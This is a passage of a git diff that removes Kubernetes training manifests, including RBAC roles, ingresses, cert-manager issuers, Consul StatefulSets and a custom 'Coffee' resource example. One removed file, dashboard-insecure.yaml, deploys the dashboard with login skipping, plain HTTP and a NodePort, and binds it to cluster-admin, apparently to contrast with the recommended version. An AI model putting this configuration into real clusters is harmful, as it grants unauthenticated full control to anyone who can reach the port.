-  - path: spec/valuesFrom/name
-    kind: HelmRelease

k8s/M6-openebs-values.yaml

@@ -1,15 +0,0 @@
-# helm install openebs --namespace openebs openebs/openebs
-#                      --set engines.replicated.mayastor.enabled=false
-#                      --set lvm-localpv.lvmNode.kubeletDir=/var/lib/k0s/kubelet/
-#                      --create-namespace
-engines:
-  replicated:
-    mayastor:
-      enabled: false
-# Needed for k0s install since kubelet install is slightly divergent from vanilla install >:-(
-lvm-localpv:
-  lvmNode:
-    kubeletDir: /var/lib/k0s/kubelet/
-localprovisioner:
-  hostpathClass:
-    isDefaultClass: true

k8s/M6-rocky-cluster-role.yaml

@@ -1,38 +0,0 @@
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRole
-metadata:
-  namespace: rocky-test
-  name: rocky-full-access
-rules:
-- apiGroups: ["", extensions, apps]
-  resources: [deployments, replicasets, pods, services, ingresses, statefulsets]
-  verbs: [get, list, watch, create, update, patch, delete] # You can also use [*]
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRole
-metadata:
-  name: rocky-pv-access
-rules:
-- apiGroups: [""]
-  resources: [persistentvolumes]
-  verbs: [get, list, watch, create, patch]
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRoleBinding
-metadata:
-  labels:
-    toolkit.fluxcd.io/tenant: rocky
-  name: rocky-reconciler2
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: ClusterRole
-  name: rocky-pv-access
-subjects:
-- apiGroup: rbac.authorization.k8s.io
-  kind: User
-  name: gotk:rocky-test:reconciler
-- kind: ServiceAccount
-  name: rocky
-  namespace: rocky-test
-  

k8s/M6-rocky-ingress.yaml

@@ -1,19 +0,0 @@
-apiVersion: networking.k8s.io/v1
-kind: Ingress
-metadata:
-  name: rocky
-  namespace: rocky-test
-spec:
-  ingressClassName: nginx
-  rules:
-    - host: rocky.test.mybestdomain.com
-      http:
-        paths:
-          - path: /
-            pathType: Prefix
-            backend:
-              service:
-                name: web
-                port:
-                  number: 80
-

k8s/M6-rocky-test-kustomization.yaml

@@ -1,8 +0,0 @@
-apiVersion: kustomize.config.k8s.io/v1beta1
-kind: Kustomization
-resources:
-  - ../../base/rocky
-patches:
-  - path: M6-rocky-test-patch.yaml
-    target:
-      kind: Kustomization

k8s/M6-rocky-test-patch.yaml

@@ -1,7 +0,0 @@
-apiVersion: kustomize.toolkit.fluxcd.io/v1beta1
-kind: Kustomization
-metadata:
-  name: rocky
-  namespace: rocky-test
-spec:
-  path: ./k8s/plain

k8s/Tiltfile.helmchart

@@ -1,8 +0,0 @@
-k8s_yaml(helm(
-    "./path-to-chart", name="blue",
-    values=[], # Example: ["./path/to/values.yaml"]
-    set=[
-        "image.repository=jpetazzo/color",
-        "image.tag=latest",
-    ]
-))

k8s/admission-configuration.yaml

@@ -1,16 +0,0 @@
-apiVersion: apiserver.config.k8s.io/v1
-kind: AdmissionConfiguration
-plugins:
-- name: PodSecurity
-  configuration:
-    apiVersion: pod-security.admission.config.k8s.io/v1alpha1
-    kind: PodSecurityConfiguration
-    defaults:
-      enforce: baseline
-      audit: baseline
-      warn: baseline
-    exemptions:
-      usernames:
-      - cluster-admin
-      namespaces:
-      - kube-system

k8s/canary.yaml

@@ -1,21 +0,0 @@
-apiVersion: networking.k8s.io/v1beta1
-kind: Ingress
-metadata:
-  name: whatever
-  annotations:
-    traefik.ingress.kubernetes.io/service-weights: |
-      whatever: 90%
-      whatever-new: 10%
-spec:
-  rules:
-  - host: whatever.A.B.C.D.nip.io
-    http:
-      paths:
-      - path: /
-        backend:
-          serviceName: whatever
-          servicePort: 80
-      - path: /
-        backend:
-          serviceName: whatever-new
-          servicePort: 80

k8s/certbot.yaml

@@ -1,36 +0,0 @@
-kind: Service
-apiVersion: v1
-metadata:
-  name: certbot
-spec:
-  ports:
-  - port: 80
-    protocol: TCP
----
-apiVersion: networking.k8s.io/v1
-kind: Ingress
-metadata:
-  name: certbot
-spec:
-  rules:
-  - http:
-      paths:
-      - path: /.well-known/acme-challenge/
-        pathType: Prefix
-        backend:
-          service:
-            name: certbot
-            port:
-              number: 80
----
-apiVersion: v1
-kind: Endpoints
-metadata:
-  name: certbot
-subsets:
-- addresses:
-  - ip: A.B.C.D
-  ports:
-  - port: 8000
-    protocol: TCP
-

k8s/cm-certificate.yaml

@@ -1,11 +0,0 @@
-apiVersion: cert-manager.io/v1
-kind: Certificate
-metadata:
-  name: xyz.A.B.C.D.nip.io
-spec:
-  secretName: xyz.A.B.C.D.nip.io
-  dnsNames:
-  - xyz.A.B.C.D.nip.io
-  issuerRef:
-    name: letsencrypt-staging
-    kind: ClusterIssuer

k8s/cm-clusterissuer.yaml

@@ -1,18 +0,0 @@
-apiVersion: cert-manager.io/v1
-kind: ClusterIssuer
-metadata:
-  name: letsencrypt-staging
-spec:
-  acme:
-    # Remember to update this if you use this manifest to obtain real certificates :)
-    email: hello@example.com
-    server: https://acme-staging-v02.api.letsencrypt.org/directory
-    # To use the production environment, use the following line instead:
-    #server: https://acme-v02.api.letsencrypt.org/directory
-    privateKeySecretRef:
-      name: issuer-letsencrypt-staging
-    solvers:
-    - http01:
-        ingress:
-          class: traefik
-

k8s/coffee-1.yaml

@@ -1,18 +0,0 @@
-# Note: apiextensions.k8s.io/v1beta1 is deprecated, and won't be served
-# in Kubernetes 1.22 and later versions. This YAML manifest is here just
-# for reference, but it's not intended to be used in modern trainings.
-apiVersion: apiextensions.k8s.io/v1beta1
-kind: CustomResourceDefinition
-metadata:
-  name: coffees.container.training
-spec:
-  group: container.training
-  version: v1alpha1
-  scope: Namespaced
-  names:
-    plural: coffees
-    singular: coffee
-    kind: Coffee
-    shortNames:
-    - cof
-

k8s/coffee-2.yaml

@@ -1,21 +0,0 @@
-apiVersion: apiextensions.k8s.io/v1
-kind: CustomResourceDefinition
-metadata:
-  name: coffees.container.training
-spec:
-  group: container.training
-  versions:
-  - name: v1alpha1
-    served: true
-    storage: true
-    schema:
-      openAPIV3Schema:
-        type: object
-  scope: Namespaced
-  names:
-    plural: coffees
-    singular: coffee
-    kind: Coffee
-    shortNames:
-    - cof
-

k8s/coffee-3.yaml

@@ -1,37 +0,0 @@
-apiVersion: apiextensions.k8s.io/v1
-kind: CustomResourceDefinition
-metadata:
-  name: coffees.container.training
-spec:
-  group: container.training
-  scope: Namespaced
-  names:
-    plural: coffees
-    singular: coffee
-    kind: Coffee
-    shortNames:
-    - cof
-  versions:
-  - name: v1alpha1
-    served: true
-    storage: true
-    schema:
-      openAPIV3Schema:
-        type: object
-        required: [ spec ]
-        properties:
-          spec:
-            type: object
-            properties:
-              taste:
-                description: Subjective taste of that kind of coffee bean
-                type: string
-            required: [ taste ]
-    additionalPrinterColumns:
-    - jsonPath: .spec.taste
-      description: Subjective taste of that kind of coffee bean
-      name: Taste
-      type: string
-    - jsonPath: .metadata.creationTimestamp
-      name: Age
-      type: date

k8s/coffees.yaml

@@ -1,34 +0,0 @@
----
-kind: Coffee
-apiVersion: container.training/v1alpha1
-metadata:
-  name: arabica
-spec:
-  taste: strong
----
-kind: Coffee
-apiVersion: container.training/v1alpha1
-metadata:
-  name: excelsa
-spec:
-  taste: fruity
----
-kind: Coffee
-apiVersion: container.training/v1alpha1
-metadata:
-  name: liberica
-spec:
-  taste: smoky
----
-kind: Coffee
-apiVersion: container.training/v1alpha1
-metadata:
-  name: robusta
-spec:
-  taste: stronger
-  bitterness: high
----
-kind: Coffee
-apiVersion: container.training/v1alpha1
-metadata:
-  name: java

k8s/consul-1.yaml

@@ -1,78 +0,0 @@
-# Basic Consul cluster using Cloud Auto-Join.
-# Caveats:
-# - no actual persistence
-# - scaling down to 1 will break the cluster
-# - pods may be colocated
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: consul
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: Role
-metadata:
-  name: consul
-rules:
-  - apiGroups: [""]
-    resources:
-      - pods
-    verbs:
-      - get
-      - list
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: RoleBinding
-metadata:
-  name: consul
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: Role
-  name: consul
-subjects:
-  - kind: ServiceAccount
-    name: consul
----
-apiVersion: v1
-kind: Service
-metadata:
-  name: consul
-spec:
-  ports:
-  - port: 8500
-    name: http
-  selector:
-    app: consul
----
-apiVersion: apps/v1
-kind: StatefulSet
-metadata:
-  name: consul
-spec:
-  serviceName: consul
-  replicas: 3
-  selector:
-    matchLabels:
-      app: consul
-  template:
-    metadata:
-      labels:
-        app: consul
-    spec:
-      serviceAccountName: consul
-      containers:
-        - name: consul
-          image: "consul:1.11"
-          env:
-            - name: NAMESPACE
-              valueFrom:
-                fieldRef:
-                  fieldPath: metadata.namespace
-          args:
-            - "agent"
-            - "-bootstrap-expect=3"
-            - "-retry-join=provider=k8s label_selector=\"app=consul\" namespace=\"$(NAMESPACE)\""
-            - "-client=0.0.0.0"
-            - "-data-dir=/consul/data"
-            - "-server"
-            - "-ui"

k8s/consul-2.yaml

@@ -1,89 +0,0 @@
-# Better Consul cluster.
-# There is still no actual persistence, but:
-# - podAntiaffinity prevents pod colocation
-# - clusters works when scaling down to 1 (thanks to lifecycle hook)
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: consul
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: Role
-metadata:
-  name: consul
-rules:
-  - apiGroups: [""]
-    resources:
-      - pods
-    verbs:
-      - get
-      - list
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: RoleBinding
-metadata:
-  name: consul
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: Role
-  name: consul
-subjects:
-  - kind: ServiceAccount
-    name: consul
----
-apiVersion: v1
-kind: Service
-metadata:
-  name: consul
-spec:
-  ports:
-  - port: 8500
-    name: http
-  selector:
-    app: consul
----
-apiVersion: apps/v1
-kind: StatefulSet
-metadata:
-  name: consul
-spec:
-  serviceName: consul
-  replicas: 3
-  selector:
-    matchLabels:
-      app: consul
-  template:
-    metadata:
-      labels:
-        app: consul
-    spec:
-      serviceAccountName: consul
-      affinity:
-        podAntiAffinity:
-          requiredDuringSchedulingIgnoredDuringExecution:
-            - labelSelector:
-                matchLabels:
-                  app: consul
-              topologyKey: kubernetes.io/hostname
-      terminationGracePeriodSeconds: 10
-      containers:
-        - name: consul
-          image: "consul:1.11"
-          env:
-            - name: NAMESPACE
-              valueFrom:
-                fieldRef:
-                  fieldPath: metadata.namespace
-          args:
-            - "agent"
-            - "-bootstrap-expect=3"
-            - "-retry-join=provider=k8s label_selector=\"app=consul\" namespace=\"$(NAMESPACE)\""
-            - "-client=0.0.0.0"
-            - "-data-dir=/consul/data"
-            - "-server"
-            - "-ui"
-          lifecycle:
-            preStop:
-              exec:
-                command: [ "sh", "-c", "consul leave" ]

k8s/consul-3.yaml

@@ -1,99 +0,0 @@
-# Even better Consul cluster.
-# That one uses a volumeClaimTemplate to achieve true persistence.
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: consul
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: Role
-metadata:
-  name: consul
-rules:
-  - apiGroups: [""]
-    resources:
-      - pods
-    verbs:
-      - get
-      - list
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: RoleBinding
-metadata:
-  name: consul
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: Role
-  name: consul
-subjects:
-  - kind: ServiceAccount
-    name: consul
----
-apiVersion: v1
-kind: Service
-metadata:
-  name: consul
-spec:
-  ports:
-  - port: 8500
-    name: http
-  selector:
-    app: consul
----
-apiVersion: apps/v1
-kind: StatefulSet
-metadata:
-  name: consul
-spec:
-  serviceName: consul
-  replicas: 3
-  selector:
-    matchLabels:
-      app: consul
-  volumeClaimTemplates:
-    - metadata:
-        name: data
-      spec:
-        accessModes:
-          - ReadWriteOnce
-        resources:
-          requests:
-            storage: 1Gi
-  template:
-    metadata:
-      labels:
-        app: consul
-    spec:
-      serviceAccountName: consul
-      affinity:
-        podAntiAffinity:
-          requiredDuringSchedulingIgnoredDuringExecution:
-            - labelSelector:
-                matchLabels:
-                  app: consul
-              topologyKey: kubernetes.io/hostname
-      terminationGracePeriodSeconds: 10
-      containers:
-        - name: consul
-          image: "consul:1.11"
-          volumeMounts:
-            - name: data
-              mountPath: /consul/data
-          env:
-            - name: NAMESPACE
-              valueFrom:
-                fieldRef:
-                  fieldPath: metadata.namespace
-          args:
-            - "agent"
-            - "-bootstrap-expect=3"
-            - "-retry-join=provider=k8s label_selector=\"app=consul\" namespace=\"$(NAMESPACE)\""
-            - "-client=0.0.0.0"
-            - "-data-dir=/consul/data"
-            - "-server"
-            - "-ui"
-          lifecycle:
-            preStop:
-              exec:
-                command: [ "sh", "-c", "consul leave" ]

k8s/dashboard-insecure.yaml

@@ -1,340 +0,0 @@
-# This file was generated with the script ./update-dashboard-yaml.sh.
-#
----
-apiVersion: v1
-kind: Namespace
-metadata:
-  creationTimestamp: null
-  name: kubernetes-dashboard
-spec: {}
-status: {}
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  annotations: null
-  labels:
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard
-  namespace: kubernetes-dashboard
----
-apiVersion: v1
-kind: Secret
-metadata:
-  annotations: null
-  labels:
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard-certs
-  namespace: kubernetes-dashboard
-type: Opaque
----
-apiVersion: v1
-kind: Secret
-metadata:
-  labels:
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard-csrf
-  namespace: kubernetes-dashboard
-type: Opaque
----
-apiVersion: v1
-kind: Secret
-metadata:
-  labels:
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard-key-holder
-  namespace: kubernetes-dashboard
-type: Opaque
----
-apiVersion: v1
-data: null
-kind: ConfigMap
-metadata:
-  annotations: null
-  labels:
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard-settings
-  namespace: kubernetes-dashboard
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRole
-metadata:
-  annotations: null
-  labels:
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard-metrics
-rules:
-- apiGroups:
-  - metrics.k8s.io
-  resources:
-  - pods
-  - nodes
-  verbs:
-  - get
-  - list
-  - watch
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRoleBinding
-metadata:
-  annotations: null
-  labels:
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard-metrics
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: ClusterRole
-  name: kubernetes-dashboard-metrics
-subjects:
-- kind: ServiceAccount
-  name: kubernetes-dashboard
-  namespace: kubernetes-dashboard
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: Role
-metadata:
-  annotations: null
-  labels:
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard
-  namespace: kubernetes-dashboard
-rules:
-- apiGroups:
-  - ""
-  resourceNames:
-  - kubernetes-dashboard-key-holder
-  - kubernetes-dashboard-certs
-  - kubernetes-dashboard-csrf
-  resources:
-  - secrets
-  verbs:
-  - get
-  - update
-  - delete
-- apiGroups:
-  - ""
-  resourceNames:
-  - kubernetes-dashboard-settings
-  resources:
-  - configmaps
-  verbs:
-  - get
-  - update
-- apiGroups:
-  - ""
-  resourceNames:
-  - heapster
-  - dashboard-metrics-scraper
-  resources:
-  - services
-  verbs:
-  - proxy
-- apiGroups:
-  - ""
-  resourceNames:
-  - heapster
-  - 'http:heapster:'
-  - 'https:heapster:'
-  - dashboard-metrics-scraper
-  - http:dashboard-metrics-scraper
-  resources:
-  - services/proxy
-  verbs:
-  - get
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: RoleBinding
-metadata:
-  annotations: null
-  labels:
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard
-  namespace: kubernetes-dashboard
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: Role
-  name: kubernetes-dashboard
-subjects:
-- kind: ServiceAccount
-  name: kubernetes-dashboard
-  namespace: kubernetes-dashboard
----
-apiVersion: v1
-kind: Service
-metadata:
-  annotations: null
-  labels:
-    app.kubernetes.io/component: kubernetes-dashboard
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-    kubernetes.io/cluster-service: "true"
-  name: kubernetes-dashboard
-  namespace: kubernetes-dashboard
-spec:
-  ports:
-  - name: http
-    port: 443
-    targetPort: http
-  selector:
-    app.kubernetes.io/component: kubernetes-dashboard
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/name: kubernetes-dashboard
-  type: NodePort
----
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  annotations: null
-  labels:
-    app.kubernetes.io/component: kubernetes-dashboard
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard
-  namespace: kubernetes-dashboard
-spec:
-  replicas: 1
-  selector:
-    matchLabels:
-      app.kubernetes.io/component: kubernetes-dashboard
-      app.kubernetes.io/instance: kubernetes-dashboard
-      app.kubernetes.io/name: kubernetes-dashboard
-  strategy:
-    rollingUpdate:
-      maxSurge: 0
-      maxUnavailable: 1
-    type: RollingUpdate
-  template:
-    metadata:
-      annotations: null
-      labels:
-        app.kubernetes.io/component: kubernetes-dashboard
-        app.kubernetes.io/instance: kubernetes-dashboard
-        app.kubernetes.io/managed-by: Helm
-        app.kubernetes.io/name: kubernetes-dashboard
-        app.kubernetes.io/version: 2.7.0
-        helm.sh/chart: kubernetes-dashboard-6.0.0
-    spec:
-      containers:
-      - args:
-        - --namespace=kubernetes-dashboard
-        - --sidecar-host=http://127.0.0.1:8000
-        - --enable-skip-login
-        - --enable-insecure-login
-        image: kubernetesui/dashboard:v2.7.0
-        imagePullPolicy: IfNotPresent
-        livenessProbe:
-          httpGet:
-            path: /
-            port: 9090
-            scheme: HTTP
-          initialDelaySeconds: 30
-          timeoutSeconds: 30
-        name: kubernetes-dashboard
-        ports:
-        - containerPort: 9090
-          name: http
-          protocol: TCP
-        resources:
-          limits:
-            cpu: 2
-            memory: 200Mi
-          requests:
-            cpu: 100m
-            memory: 200Mi
-        securityContext:
-          allowPrivilegeEscalation: false
-          readOnlyRootFilesystem: true
-          runAsGroup: 2001
-          runAsUser: 1001
-        volumeMounts:
-        - mountPath: /certs
-          name: kubernetes-dashboard-certs
-        - mountPath: /tmp
-          name: tmp-volume
-      - image: kubernetesui/metrics-scraper:v1.0.8
-        imagePullPolicy: IfNotPresent
-        livenessProbe:
-          httpGet:
-            path: /
-            port: 8000
-            scheme: HTTP
-          initialDelaySeconds: 30
-          timeoutSeconds: 30
-        name: dashboard-metrics-scraper
-        ports:
-        - containerPort: 8000
-          protocol: TCP
-        securityContext:
-          allowPrivilegeEscalation: false
-          readOnlyRootFilesystem: true
-          runAsGroup: 2001
-          runAsUser: 1001
-        volumeMounts:
-        - mountPath: /tmp
-          name: tmp-volume
-      securityContext:
-        seccompProfile:
-          type: RuntimeDefault
-      serviceAccountName: kubernetes-dashboard
-      volumes:
-      - name: kubernetes-dashboard-certs
-        secret:
-          secretName: kubernetes-dashboard-certs
-      - emptyDir: {}
-        name: tmp-volume
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRoleBinding
-metadata:
-  creationTimestamp: null
-  name: kubernetes-dashboard:insecure
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: ClusterRole
-  name: cluster-admin
-subjects:
-- kind: ServiceAccount
-  name: kubernetes-dashboard
-  namespace: kubernetes-dashboard

k8s/dashboard-recommended.yaml

@@ -1,325 +0,0 @@
-# This file was generated with the script ./update-dashboard-yaml.sh.
-#
----
-apiVersion: v1
-kind: Namespace
-metadata:
-  creationTimestamp: null
-  name: kubernetes-dashboard
-spec: {}
-status: {}
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  annotations: null
-  labels:
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard
-  namespace: kubernetes-dashboard
----
-apiVersion: v1
-kind: Secret
-metadata:
-  annotations: null
-  labels:
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard-certs
-  namespace: kubernetes-dashboard
-type: Opaque
----
-apiVersion: v1
-kind: Secret
-metadata:
-  labels:
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard-csrf
-  namespace: kubernetes-dashboard
-type: Opaque
----
-apiVersion: v1
-kind: Secret
-metadata:
-  labels:
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard-key-holder
-  namespace: kubernetes-dashboard
-type: Opaque
----
-apiVersion: v1
-data: null
-kind: ConfigMap
-metadata:
-  annotations: null
-  labels:
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard-settings
-  namespace: kubernetes-dashboard
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRole
-metadata:
-  annotations: null
-  labels:
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard-metrics
-rules:
-- apiGroups:
-  - metrics.k8s.io
-  resources:
-  - pods
-  - nodes
-  verbs:
-  - get
-  - list
-  - watch
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRoleBinding
-metadata:
-  annotations: null
-  labels:
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard-metrics
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: ClusterRole
-  name: kubernetes-dashboard-metrics
-subjects:
-- kind: ServiceAccount
-  name: kubernetes-dashboard
-  namespace: kubernetes-dashboard
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: Role
-metadata:
-  annotations: null
-  labels:
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard
-  namespace: kubernetes-dashboard
-rules:
-- apiGroups:
-  - ""
-  resourceNames:
-  - kubernetes-dashboard-key-holder
-  - kubernetes-dashboard-certs
-  - kubernetes-dashboard-csrf
-  resources:
-  - secrets
-  verbs:
-  - get
-  - update
-  - delete
-- apiGroups:
-  - ""
-  resourceNames:
-  - kubernetes-dashboard-settings
-  resources:
-  - configmaps
-  verbs:
-  - get
-  - update
-- apiGroups:
-  - ""
-  resourceNames:
-  - heapster
-  - dashboard-metrics-scraper
-  resources:
-  - services
-  verbs:
-  - proxy
-- apiGroups:
-  - ""
-  resourceNames:
-  - heapster
-  - 'http:heapster:'
-  - 'https:heapster:'
-  - dashboard-metrics-scraper
-  - http:dashboard-metrics-scraper
-  resources:
-  - services/proxy
-  verbs:
-  - get
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: RoleBinding
-metadata:
-  annotations: null
-  labels:
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard
-  namespace: kubernetes-dashboard
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: Role
-  name: kubernetes-dashboard
-subjects:
-- kind: ServiceAccount
-  name: kubernetes-dashboard
-  namespace: kubernetes-dashboard
----
-apiVersion: v1
-kind: Service
-metadata:
-  annotations: null
-  labels:
-    app.kubernetes.io/component: kubernetes-dashboard
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-    kubernetes.io/cluster-service: "true"
-  name: kubernetes-dashboard
-  namespace: kubernetes-dashboard
-spec:
-  ports:
-  - name: https
-    port: 443
-    targetPort: https
-  selector:
-    app.kubernetes.io/component: kubernetes-dashboard
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/name: kubernetes-dashboard
-  type: ClusterIP
----
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  annotations: null
-  labels:
-    app.kubernetes.io/component: kubernetes-dashboard
-    app.kubernetes.io/instance: kubernetes-dashboard
-    app.kubernetes.io/managed-by: Helm
-    app.kubernetes.io/name: kubernetes-dashboard
-    app.kubernetes.io/version: 2.7.0
-    helm.sh/chart: kubernetes-dashboard-6.0.0
-  name: kubernetes-dashboard
-  namespace: kubernetes-dashboard
-spec:
-  replicas: 1
-  selector:
-    matchLabels:
-      app.kubernetes.io/component: kubernetes-dashboard
-      app.kubernetes.io/instance: kubernetes-dashboard
-      app.kubernetes.io/name: kubernetes-dashboard
-  strategy:
-    rollingUpdate:
-      maxSurge: 0
-      maxUnavailable: 1
-    type: RollingUpdate
-  template:
-    metadata:
-      annotations: null
-      labels:
-        app.kubernetes.io/component: kubernetes-dashboard
-        app.kubernetes.io/instance: kubernetes-dashboard
-        app.kubernetes.io/managed-by: Helm
-        app.kubernetes.io/name: kubernetes-dashboard
-        app.kubernetes.io/version: 2.7.0
-        helm.sh/chart: kubernetes-dashboard-6.0.0
-    spec:
-      containers:
-      - args:
-        - --namespace=kubernetes-dashboard
-        - --auto-generate-certificates
-        - --sidecar-host=http://127.0.0.1:8000
-        image: kubernetesui/dashboard:v2.7.0
-        imagePullPolicy: IfNotPresent
-        livenessProbe:
-          httpGet:
-            path: /
-            port: 8443
-            scheme: HTTPS
-          initialDelaySeconds: 30
-          timeoutSeconds: 30
-        name: kubernetes-dashboard
-        ports:
-        - containerPort: 8443
-          name: https
-          protocol: TCP
-        resources:
-          limits:
-            cpu: 2
-            memory: 200Mi
-          requests:
-            cpu: 100m
-            memory: 200Mi
-        securityContext:
-          allowPrivilegeEscalation: false
-          readOnlyRootFilesystem: true
-          runAsGroup: 2001
-          runAsUser: 1001
-        volumeMounts:
-        - mountPath: /certs
-          name: kubernetes-dashboard-certs
-        - mountPath: /tmp
-          name: tmp-volume
-      - image: kubernetesui/metrics-scraper:v1.0.8
